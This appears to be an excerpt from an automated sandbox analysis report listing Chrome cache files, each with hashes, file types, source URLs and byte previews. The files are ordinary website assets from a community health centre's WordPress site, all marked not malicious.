SHA-512:	FCD30B9858A60ABB420D3A3C82C3F60252B83FEB1D768EE15B05B7BF6ABA489D48BC38B09FB0F8DA67BB6583F60321EC203DB40E73F2B4F5C20761BC9AE23ECE
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20
Preview:	#glt-toolbar { ..display:none; .}..#glt-translate-trigger {. position:fixed;. bottom:0px;. top:auto;. right: 20px;. z-index:200002;. padding:6px 20px 3px;. font-size:16px;. font-family:Arial;. font-weight:700;. color:#fff;. text-shadow:0px -1px 0px rgba(0,0,0,0.25);. text-decoration:none;. text-align:center;. box-shadow:0px 0px 9px rgba(0,0,0,0.3);. -webkit-box-shadow:0px 0px 9px rgba(0,0,0,0.3);. -moz-box-shadow:0px 0px 9px rgba(0,0,0,0.3);. box-sizing:content-box !important;. -webkit-box-sizing:content-box !important;. -moz-box-sizing:content-box !important;. background:linear-gradient(center top, #fbb450, #f89406);. background: -webkit-gradient(linear, center top, center bottom, from(#fbb450), to(#f89406));. background: -webkit-linear-gradient(#fbb450, #f89406);. background: -moz-linear-gradient(#fbb450, #f89406);. background: -o-linear-gradient(#fbb450, #f89406);. background: -ms-linear-gradient(#fbb450, #f8

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 179x179, components 3
Category:	downloaded
Size (bytes):	2461
Entropy (8bit):	7.4551248822086995
Encrypted:	false
SSDEEP:	48:i8qLwda4z1GggoZZPN8W0d+1BhmssqxMK+6xQHzzZcrj5E+ZAyK+m:esd5zRgoZZPN0d8gKXOHzliGEXK+m
MD5:	5E48C8D1338F34E4FA376A54F80744C3
SHA1:	B120D6239169B87F1462BB2E00DDF66171472129
SHA-256:	78796348ECDF580F6466528557AD8EBB058FCF096FAFF4EBC55D367172CBCCD1
SHA-512:	FFF10672178494A7470D777156BD395609C69EE32E3C994573C64A1086EBB27B6CB3A85C086AA5F508F582684CC854E4B2A7794CB6051D07AF8D3E7DB3BEF626
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/reload.jpg
Preview:	......JFIF..................................................(( . %...!1!%),../..383,7(-.+...........+...++++++++++++++++++++++++++++++++++++++++++++++++++..........."........................................<.........................!1..2AQaq...."RSr.....b..#3BC...$........................................................?..@............................1.\|+...P.Vm...`d1bq5..;g.Es...W...:.u."......~..W.CH]....Y+%..yv-..kH.....BS..f.\|O$@bxQ..p.]vM.._...v..7..U.].?.....Z.QD.<._.0....[.~.Q.j.&..h.q....nP.......{.<...$....J.B..3....s.O..{../V....j....)<.7.e.`u..E.....K......./.....p..my...\..~_1.....,e..U$.&..YE.....cnw^.odR..<..p?....}............8...N...o..u.1i.-N..u.....DW;).g.\|F.......k....>.....t..V.F+5.g.....6D......j.?...5.t.q#.,..(.L8?.o.u.....m'........@s`...C..\.}........i...n...J..Q\|G.........../v6.u.n..}TG......#......3..F/..........Qp../.w../.R.yn...w.`k...,%.E.9.N......(....G..........l..t..?n.sP.O.e..MS..[...7b.}.Uq.Q.QQI$.$.2@C.MU.`..u.K.).

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	3023
Entropy (8bit):	4.835820865292023
Encrypted:	false
SSDEEP:	48:rnbVUBxXz2dc40BM3j1FNMsmNrCzqu/eBMThmn:DbVel03jJMsmN+Tcn
MD5:	8AA2AB903843CF2A5CFF1E31165D44EC
SHA1:	4103B47C4AAA97D166DB1D9A83B9EEAD553AD994
SHA-256:	6F37789F511D3D6ABF8AD9B5DE3A0EE9CD1ED468B61D1BEAC7A1765A0279C70B
SHA-512:	4AD5FE56FAF1988CF23EA8F645F75FC8961C97C0C6469CE6C13E5723C9A4529CD830EFDFEFA0F1135F6E65F6A9B4F7574E1B6021AA6F520DB5AFE15B9D9908FC
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick-theme.css
Preview:	@charset 'UTF-8';./* Slider /..slick-loading .slick-list.{. background: #fff url('./ajax-loader.gif') center center no-repeat;.}../ Icons /.@font-face.{. font-family: 'slick';. font-weight: normal;. font-style: normal;.. src: url('./fonts/slick.eot');. src: url('./fonts/slick.eot?#iefix') format('embedded-opentype'), url('./fonts/slick.woff') format('woff'), url('./fonts/slick.ttf') format('truetype'), url('./fonts/slick.svg#slick') format('svg');.}./ Arrows */..slick-prev,..slick-next.{. font-size: 0;. line-height: 0;.. position: absolute;. top: 50%;.. display: block;.. width: 20px;. height: 20px;. margin-top: -10px;. padding: 0;.. cursor: pointer;.. color: transparent;. border: none;. outline: none;. background: transparent;.}..slick-prev:hover,..slick-prev:focus,..slick-next:hover,..slick-next:focus.{. color: transparent;. outline: none;. background: transparent;.}..slick-prev:hover:before,..slick-prev:focus:be

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1713
Entropy (8bit):	4.97930270967553
Encrypted:	false
SSDEEP:	48:DbWgEr6bT3pTHLpzhSQJTAeMc62K3DHLDa4NPRM:Fj4QE2ENZu
MD5:	3B83C71F729CDECFA844ED78CA6DCD8F
SHA1:	BEA7FC2FC189414E64401B26D6857DE70646B359
SHA-256:	E5753D24097DFE65ECA0A737FB09CF983C0B09BD3754CA963E1F1BCE53D82C51
SHA-512:	454542C14A653782B6AA152BD90CC66860FFFCD0F21EB943101FEA277E247470533CD95805F7900DAA7199975D9B624ADE66E2DA05ADA59E623096B629930325
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/bold-builder-light/bt-bb-light.js
Preview:	(function( $ ) {......var set_responsive = function() {....var width = Math.max( document.documentElement.clientWidth, window.innerWidth \|\| 0 );....var res = 'xxl';....if ( width <= 1400 ) res = 'xl';....if ( width <= 1200 ) res = 'lg';....if ( width <= 992 ) res = 'md';....if ( width <= 768 ) res = 'sm';....if ( width <= 480 ) res = 'xs';........$( '[data-btbbl-override-class]' ).each(function() {.....var override_classes = $( this ).data( 'btbbl-override-class' );.....for ( var prefix in override_classes ) {......if ( override_classes[ prefix ][ res ] !== undefined ) {.......var new_class = prefix + override_classes[ prefix ][ res ];......} else {.......var new_class = prefix + override_classes[ prefix ][ 'xxl' ];......}......$( this ).removeClass( override_classes[ prefix ][ 'current_class' ] );......$( this ).addClass( new_class );......override_classes[ prefix ][ 'current_class' ] = new_class;......//$( this ).data( 'override_classes', override_classes );.....};....});........$( '

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	29244
Entropy (8bit):	7.970051100050737
Encrypted:	false
SSDEEP:	768:aOX/psUXnU4UQv/ysU+i8gptWFZhgvUr9OZayYWUks:aOX/zXnU4ntfxhgvUr9HWq
MD5:	3F1393E33C87503D5A75297ABC3C2298
SHA1:	1FF7F4CFBCD53EB3CFB0240B357ACF120CCC3B09
SHA-256:	D814AF7D0F37481083034B630FCE1D1E974F0275AFA141AE8325106444F1B253
SHA-512:	26C109428C06236FDB41A643F6A6CA08C55D7B72C42397B83FB7ECE3A6CB736D83AE5FCB0888CFFA3F98CBD684C383D0D91576F833C79B9E480D60710115829A
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....9^....=W."...47...R..T..F....K]^.9?rY..9.1..3..x.5..#6....1.^K..I.`.m...=(Y...s4g...+.\|..5.z...d...2..dpx...:.+.:.W.<+l.%_._.'.m.....h.P.<..F9(.3....8.T...f5.y-....x.K...J0.....w..v..-...z...k{.(............F..f...c.....<.=...........$.2...$.rO.....Q.`eB....8p..R...].Z.....%.d...{...ml.g..*r..z..,V..F.m^.y...KR.\|...>.......].mE"..F. _ ..8..?Z..rv

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	309248
Entropy (8bit):	5.4931665893751935
Encrypted:	false
SSDEEP:	6144:xh4yjgx7AyigY0zPYYMrmgmETVFzrpQqr3K9zwrcRjI0UIklArR:xhjjKpiKTR
MD5:	6444AAFE6FB5235F1ABE3BBC4C601CD3
SHA1:	739CA8AD996693505C87E1D683FE6973C7A07796
SHA-256:	F8DC91F5244AC28A3CEA99AD5B7056F0F067C70E4D61402A226AE1C3603A7D6C
SHA-512:	884814A46296C5692B54A6F05FB3D093C54A2A1B10DB9D187C486218F40CD7A4333AF00E74C777E81E287F99F7BD2ADA3BD8B7AC33496AE44C0BE4A991E88343
Malicious:	false
Reputation:	low
URL:	https://acsbapp.com/apps/app/dist/js/app.js
Preview:	(()=>{var e,t,i,s,n={521:(e,t,i)=>{i.chunkedI18n__.publicPath=i.p,i.chunkedI18n__.setInitialDictionary({"accesswidget-ui":{openWidget:"Open accessiBe: accessibility options, statement and help",SR_TRIGGER_BUTTON:"Use Website In a Screen-Reader Mode",SKIP_LINKS:"Skip Links",SKIP_NAVIGATION:"Click to skip navigation",SKIPLINK_CONTENT:"Skip to Content",SKIPLINK_MENU:"Skip to Menu",SKIPLINK_FOOTER:"Skip to Footer",PROCESSING_DATA_PLEASE_WAIT:"Processing the data, please give it a few seconds..."},"preloader.screenReaderGreetForWindows":"Press Alt+1 for screen-reader mode, Alt+0 to cancel","preloader.screenReaderGreetForMac":"Press Option+1 for screen-reader mode, Option+0 to cancel","preloader.screenReaderGreetForTouchDevice":"For screen-reader mode - click the first button of the website","preloader.screenReaderFeedback":"Accessibility Screen-Reader Guide, Feedback, and Issue Reporting",PRINT:"Print",REQUIRED_FIELD:"Required field",BREADCRUMBS:"Breadcrumbs",ACCESS_MODE_IS_ON:"Screen-reade

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1842
Entropy (8bit):	7.844880044441599
Encrypted:	false
SSDEEP:	48:CpBmStVyR9tjRq82OyNFQVYhMyTkRJO05Z:OuRP9q82OyNFQVY3CJOaZ
MD5:	C69C796362406F9E11C7F4BF5BB628DA
SHA1:	E489CE95AB56208090868882113D7416ABF46775
SHA-256:	4DAC0026FBFA2615DCE30C0AF12830863FE885F84387A0147B9E338F548D5D82
SHA-512:	D3AD560ED0FD29BE7D2CC434694F09E5A6FBEA8B29C0611AECB54A1B73B4D722C53F42A19DAE9E3D5D358444E50FB8FFFBC39D67CE751BDBC8C861F6F95D3162
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/product/2x/translate_24dp.png
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Uw.X...........b.....pb.Sfff.6....3o.wvF.(..r.u..9_\|...Is%..D......Xz.c....;...y;.....&#.l......H...X..s..]}..5`aZ..D.m....uk.c..i.\|.H... I#yB.7.0..._E.".h..Xt.....9.4.......0:y.....F.ua^.\|.....K..G..b&2;.z."...B/l$..s3.@..G..Z..`...p..EUU.hni...aZZZT......."...H.Z.....H....<..g.......U.........f."../...Gg...$....<YTU.p.....ND"$^.5!..@.8....Nhj.f.]......"..B..i..,...oh.5.....F.L........;"C...bO....Qa.G..!.....4.._....l..N.].....g...PoD....1r{......X.1..!.....}.o....=..^6i.{.......9`i...\~...Dyy9..`..D...n>.....7:.....1...t.(.D.=>....DH.0...K.Mx....,....$..1.1.P.T.............@'..6...Kv..e...D.?.X...k.2..\|l.$m&...K/.c......Vn....V ...`I......8al.zT.=..+Wr..%?.X.`..g....,..[...nc..:!..$.@2..3.\|....sB...&...a.<..}).zX.Q.)5....X.1..bk.....Vn...C#.c......mx.=.[...,.r.G....OMS....e.06.#.+..8Fne......B!...%..,........W...*.F..x#.Vv....I..c(...x5..u.....`hP.......&>......8...D#Cg.v.{Hyb.v..8.K7X`.....\|O.z.

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1562
Entropy (8bit):	4.390869546024012
Encrypted:	false
SSDEEP:	48:cXSYtzV2HGsWC1W7K26ggJcy7cFncATZ3pXlDD+5r:8VuGsr1WIgguGcxZjHsr
MD5:	0799F1B33E5B65F5E775D1FB89CC992E
SHA1:	AF64E483134C4C99F9A157E1737115EE1BDE31DD
SHA-256:	A844085B5F208AC9A619F8E91C9D420CB9AF08C940BBC892617595378BB8C3A2
SHA-512:	E7186B4FAAB814D6EBB2D48569848C617888592A224F517C43424473FA5B453FECB5DA422982813D30B59349E9997F5919653D9823D636CE72A07C6501E78C26
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_2.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#78CE3E"/>.<path d="M48.6107 24.6747C47.7572 22.1971 46.0143 20.3741 43.829 19.6733C39.6793 18.3427 36.2667 20.0526 34.9623 20.8723C33.658 20.0525 30.2453 18.3426 26.0956 19.6733C23.9093 20.3744 22.166 22.1985 21.3128 24.6777C20.191 27.9377 20.7559 31.698 22.8241 34.7364C24.2053 36.7656 25.1072 39.0557 25.4323 41.3589C25.4511 41.4918 25.4694 41.6276 25.4873 41.7664C25.8004 44.1954 26.2616 46.145 26.858 47.561C27.5727 49.2578 28.4949 50.1741 29.599 50.2846C30.7693 50.4015 31.7408 49.4283 32.4872 47.3918C33.0091 45.9677 33.4207 44.0595 33.6459 42.0186C33.7718 40.8777 34.0661 39.95

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32016)
Category:	downloaded
Size (bytes):	42914
Entropy (8bit):	5.2307840529473815
Encrypted:	false
SSDEEP:	768:qZcTN537dpje4oOBvZsMNFBQfxi1V3p9HKsJpDUZjE5:qU5zjA2nV3p9HKsajE5
MD5:	C18FD31524C40E32176E99350C82CCF1
SHA1:	81C53E2A97AE9561EBCEF80B906D7B69E3665078
SHA-256:	AEFD2D314E8D3B9D7F53925A76C1EC9D70753DB57F7EA6097933D6A65C9C0D29
SHA-512:	222D6A786A8046D7DDF5538F29EC10FB941E74C237AFD8636B5A7D27A7B9D1DC00A6BEACF7DDD4E31CE9BA7A6DEF0E93E2685EC2E2588E5853C4FDD63C1F809D
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.parsley.min.js?ver=20240319
Preview:	/!. Parsley.js.* Version 2.8.0 - built Wed, Sep 13th 2017, 11:04 pm.* https://parsleyjs.org.* Guillaume Potier - <guillaume@wisembly.com>.* Marc-Andre Lafortune - <petroselinum@marc-andre.ca>.* MIT Licensed.*/.function _toConsumableArray(e){if(Array.isArray(e)){for(var t=0,i=Array(e.length);t<e.length;t++)i[t]=e[t];return i}return Array.from(e)}var _slice=Array.prototype.slice,_slicedToArray=function(){function e(e,t){var i=[],n=!0,r=!1,s=void 0;try{for(var a,o=e[Symbol.iterator]();!(n=(a=o.next()).done)&&(i.push(a.value),!t\|\|i.length!==t);n=!0);}catch(l){r=!0,s=l}finally{try{!n&&o["return"]&&o["return"]()}finally{if(r)throw s}}return i}return function(t,i){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,i);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),_extends=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n])}return e};!funct

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1250
Entropy (8bit):	4.741779995005225
Encrypted:	false
SSDEEP:	12:UxnBeiYgPW1KZbKlrjN+Lus4/LLERvrv1eLiTeXfLAR5G/LLERvGLIYOfSOnNbQ/:kBygGKUx24/LRMc/L3hONbZZ/L3VNtoD
MD5:	EF73587F46D3DA97BA549A7CF60C2FA7
SHA1:	4E72BFD2C7CBA33F5D150341542A8AE0B8B0CC4C
SHA-256:	F7196D087E19026B0C24BE8BAC98F1B8325950351B827CCCF086430CA3215B7C
SHA-512:	493CAE80C3F0821F74AAA040DC88F76BD274E3F8B90D23538C6EC0B9A46AC210ABFC1FB1B39FC42E7E99FCB5B01DA77EF65042E70E8FF8DD0046106CD987B633
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/style.css
Preview:	/. Theme Name: VPCHC. Author: Design On Tap. Description: A WordPress starter theme based on Bootstrap 4. Version: 5.1.0. License: MIT License. License URI: http://www.opensource.org/licenses/mit-license.php. Text Domain: crunch./...language-switch{..margin-right : 20px;..}../* Giveaway page /..giveaway-page-section > .wp-block-group__inner-container > .acf-block-column-content {. margin: 0 !important;. padding-top: 230px !important;. padding-bottom: 80px !important;.}.@media only screen and (max-width:1199px) {. .giveaway-page-section > .wp-block-group__inner-container > .acf-block-column-content {. padding-top: 60px !important;. padding-bottom: 00px !important;. }. .giveaway-page-section .acf-block-column-content h2 {. font-size: 42px;. line-height: 1.2;. }.}.@media only screen and (max-width:767px) {. / .giveaway-page-section > .wp-block-group__

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1536
Entropy (8bit):	4.498355936496123
Encrypted:	false
SSDEEP:	24:2dT7SOu66MMqwwV2H7t0sWutJ9nxtSilE/qXn+RCEcC7lyo+cBaAVNluNLg4amM7:cXSYJzV2HGsWrYE/qXnjEcC7MouRgfmk
MD5:	6A9EAA3F65EBAD781B7F2E51AFFF0719
SHA1:	3F32EBCE613793055796F37DD55C93A7EDAA7065
SHA-256:	08241B2B49100AAD5FD0400CFB23EEA78EC9AB4961BED15441EF42D07049B2C7
SHA-512:	E4CE00F8B15EAD5BD393CF6DEDB22D6973BBE03BCB6DB9ACBC4F7EE2C3EA3FBD31537CCF58FA7394A0354E4E7D103EF61FFB09FB97A49156822853B8E4B7335D
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_4.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#50C2E0" fill-opacity="0.15"/>.<path d="M44.4471 20.3081C43.6459 19.554 42.6204 19.1918 41.5869 19.1918C40.4235 19.1918 39.2486 19.6505 38.3726 20.5277L37.9967 20.9036L37.6208 20.5265C36.7448 19.6505 35.5699 19.1918 34.4065 19.1918C33.373 19.1918 32.3476 19.554 31.5463 20.3081C29.7839 21.967 29.7529 24.7421 31.452 26.4412L37.9967 32.9859L44.5414 26.4412C46.2405 24.7421 46.2095 21.967 44.4471 20.3081Z" fill="#2DB4D7"/>.<path d="M50.8711 36.3186C49.8652 35.6369 48.68 35.83 47.6304 36.4359C46.5808 37.0417 40.5546 42.1942 40.5546 42.1942L34.6226 42.1954C34.3467 42.1954 34.0478 41.885 34.0478 41.61

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 10880
Category:	downloaded
Size (bytes):	825
Entropy (8bit):	7.723243584488481
Encrypted:	false
SSDEEP:	24:XP78spXUQ3C4BNn4pvebMXlNmg7IX79fsvSDLg/n:XlW4D4YbMfIr9fHg/
MD5:	B2B42777C89FEFFBF0CA8A25A5C15FE5
SHA1:	6DF37DC693C32E57C978BF78A38709A44435DA74
SHA-256:	646D959889556EAD9FF9F2DD99B2DAFAAE80614BE6D6F841D338EB10539267FA
SHA-512:	7FD3E368532F9760F93ACC804034CC689E47CFAF9C416E168EF89DBDF49254C894A8B894C128BD2EE50379FBBD539092B520F431BE5CCED793CB389FF3360442
Malicious:	false
Reputation:	low
URL:	"http://fonts.googleapis.com/css?family=Roboto:300,400,400i,500,600,700&display=swap%7Csans-serif"
Preview:	...........]o.0....+.K.b.........).v.1........w..m...Q.....p.s.......q...mJ.@....Y..ga...(.Pi....e.%/....ey.Dc%.g0...u./..b ..-.p...d.,..5...<Z,.Y..Ga.jK..&.nu....?....B.\|.2.....:...>\|.Hg....}..U....H-f..~h....R.I.!.......yF5N......p-....T..$P.B..?......9..GG.....aR..&...c.....0.E...X..i`..0..y.m..c.l.K...p..).G...+./..n...tW....6..l.F...>....Q.W.c..0..c2.A..,&,!\....]..C..k.......!FL..t....8..q@..J.. .@.Y.;..p@D\Q.Ot~...2..2.!...t...`..TBL@.H.X.\..>@\|^.M`...k.".V..@u+..!E....K......x.@.x...>N\1..J.a..d...!...6!\|t.~.p..@.&.Y...R;.cs..3.'.+.z.T$.R.~..s.24...Z.H.\|\o{>..4_...jA......w.<H.%P.P.MH.........V....!..#L.;B.l...?w..ac..i...T&.x..!'8.F._....t..D......I..kWo5v.)...S..'...t..Cb....C^.]=.X....K..O<.i...c.\.Rrq5M:jC.....X..!.....X...yi..i.............`...*..

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	downloaded
Size (bytes):	30255
Entropy (8bit):	7.968709240512227
Encrypted:	false
SSDEEP:	768:eYwObwKrkdmy7w/wQYLYoFSmCLXJhBQEqmxxyu8iSLHJ3N+:e/Oblkdhko8ySmmZhBQkx8XnJ4
MD5:	6FC7704ADE897BB4C5FA36B1A5AAD61E
SHA1:	3E50F27827F85F728B5C0C84A0260F76F82CB5AD
SHA-256:	B621403CB540F45B62891F3C8127D3F7058A4F84CCEEF9AC49A9020C86BA45B1
SHA-512:	D2BFE724D971FD665A721E852606F3D56FCE3E9973CC6721F54C58E16C79DA0414AC8E5D76E4BA79B5B6CFAE78B7971BFBB8B342B561B3C06D924FF72FA35951
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA6HqRKdznOsNWnGT6s2R1vIGYXXOMOTlBKVjMTyP_UpaucCrkDbZGEHIUyXYHmbt5PY6GL53FBaGX90hGIy88iXirvHC4Kd7ciUjQNNVZIcDdHqGWfQf2mQwV_EVgeF0QHIwndFlJ7ZkvDUs6iuRrq7hrL6YNxAD5htAZhHK98PzxZqpHgnvF1gsGyPgW9nM5hejO8Fy7-zO0SvynECArkwhxvBXw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...]...G..v_._.F..l....[.&.#..k...Y.go..r/c....d.x...j..{.H.c.+.!...f.0..Z..s...`c.E39M......`{.]J.o1XL..J..".3..j...c..6...-..M+.C^.t.c.h.r.5.....y......~.Y..@.F.U8.)..t.(..x..m..^}x].o..u..o..&u=Es.d....ID[...,.g#.J............+.jt. ..{.q..c...j6^....5...../..UY...Sb.~.j.$.$..A....KT.........H...w.`.jkx...<..emas......~E.....b.M. ...y0..^..J.yQ.*..FK....

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 339 x 390, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35044
Entropy (8bit):	7.973119309409504
Encrypted:	false
SSDEEP:	768:kgW/FW6UZka4cQAdFSq70SACyZ7roTCFn0LwnrIzzTW4iYZb:JW9jta4DpqsCyZHIgn0srSza4iwb
MD5:	4ECA889D761D6C5933A1143C81179E16
SHA1:	E58AC5731847F5C7E3B01683AB97E13EF01C6106
SHA-256:	956486D5B3CE16F39F6CF39B6A8318F92D01E7414E5003DC43F7D3668BB47F56
SHA-512:	BDC954CD78F68A6AF0F5442B66E24A590583697EE190FB9DB6A798D0830800BE70535904F926E3A6C47D3AAAE6B5FF2DB2BBF7E2BFD878C6966045EC75D01E17
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...S..........b.....sBIT....\|.d... .IDATx^...T.......t.^...i.]D.....K..S.Mb"&...S..hbK..5....`'JS..I.........Y.....f..<\wv.....{.9..m&...I.$P..b..`...L.&...3..M`.0...B...4.!Z.&...I.`j..I.$`..A.....hU..L.&.....&...I ...LC..Ua.0.....v...L.&..$`0.A.V.I.$`.0..=`.0...B...4.!Z.&...I.`j..I.$`..A.....hU..L.&.....&...I ...LC..Ua.0.....v...L.&..$`0.A.V.I.$`.0..=`.0...B...4.!Z.&...I.`j..I.$`..A.....hU..L.&...6\|.....Y.n...+....z.b..kZ].o.\.6\|f...$ .Z....ck.....bU...7.......q.^i$`0-...hudE..w..h\|tYYl.T._...s......ST>.-@....\o.f,..P.(?..g..=^..\|U...N.hq}>..o..m.W..O...UV6>H..my.F.b.6.F......J...e......o....s.-f..j[...}.c}...Z..eeeg..9T..B@j.~_.....L....zl...3s..u..c.k...Wv.F..7.QVVq...P.D.....o..N....o.G.T.E ..i.B......#/+s?..X.....6..T.h..W....._Y.n..M......HO.`..xs..G..m[.l...F.+.m.{.V.$.Y.2g5a.&w.g..>pn.&.Ux.0..'.k.0`X...F?.m.B.i.+..L.)...Z<>>....'N..h@...1..'.j..m.vm.6....;...(.2+l..E..Ul......'.y.........Z...!.i.(.........f~.._Z

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	69
Entropy (8bit):	4.505577225848781
Encrypted:	false
SSDEEP:	3:cEkJEjKJhQJQ5/LTf05SoCWvn:cE88n
MD5:	670CEB20BDFFC3B0AF99A495EB4E34BA
SHA1:	0ED868F92EAD220A111CBAB50B1E1F57124AA34D
SHA-256:	09BC966EA712FC10199648A093BD65444FBC314D988F61BAB7A1B6C5824B3F0C
SHA-512:	294AE006168C59BD0D7F2C0E932A862445D18516861155517BDF02FB37D401F281D871E9B96A95127DBD5C0B316931AFA66BB0072188FABBA986CC1F97BF0BE1
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-bootstrap-blocks/build/style-index.css?ver=5.2.0
Preview:	.wp-bootstrap-blocks-row.row.alignfull{margin-left:0;margin-right:0}.

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1536x712, components 3
Category:	downloaded
Size (bytes):	221017
Entropy (8bit):	7.982516369039421
Encrypted:	false
SSDEEP:	6144:BjVOJXodCNNH6BFqqKK/ro2WsSrpHAqtB:BjbdCb8qqKKIsO5
MD5:	0D5D6DA0D3EF65D43538D638C0E5F6FE
SHA1:	CD4325168338BEF181675488885ECC004B541A4E
SHA-256:	ED186BF733EAEA0A793C2E1CE9B19C90F115FD144D95BB905483AA798BA9721F
SHA-512:	49907F47DA79455FB1073D95D5E15C514E02A78DEFA6A4C2F12F03EA441C3236B7C9B4AA2E6621C194D619470BC0172CDEA28024ECE45576F9CCA16B4E5A29B5
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/img__services-1536x712.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.....................................................N.........................!.1.AQa.."q2...#B..3Rb....$r..%C...4S..5c.D.&6Ts...................................8........................!1A.."Q2a..#q3B.....$R..4C................?......TK+.l...!.p.;]...D.p..M...s\.jco..:5vx.ce.......\.}.#4.-...@.<..I.+..V.h...6.....r..c..?u...@rM.....r.h....[.gh......>Y[5..1....yW;<..\|.....`..Os.j."t....,.......de.._D...:`.-L..Q.k...S. 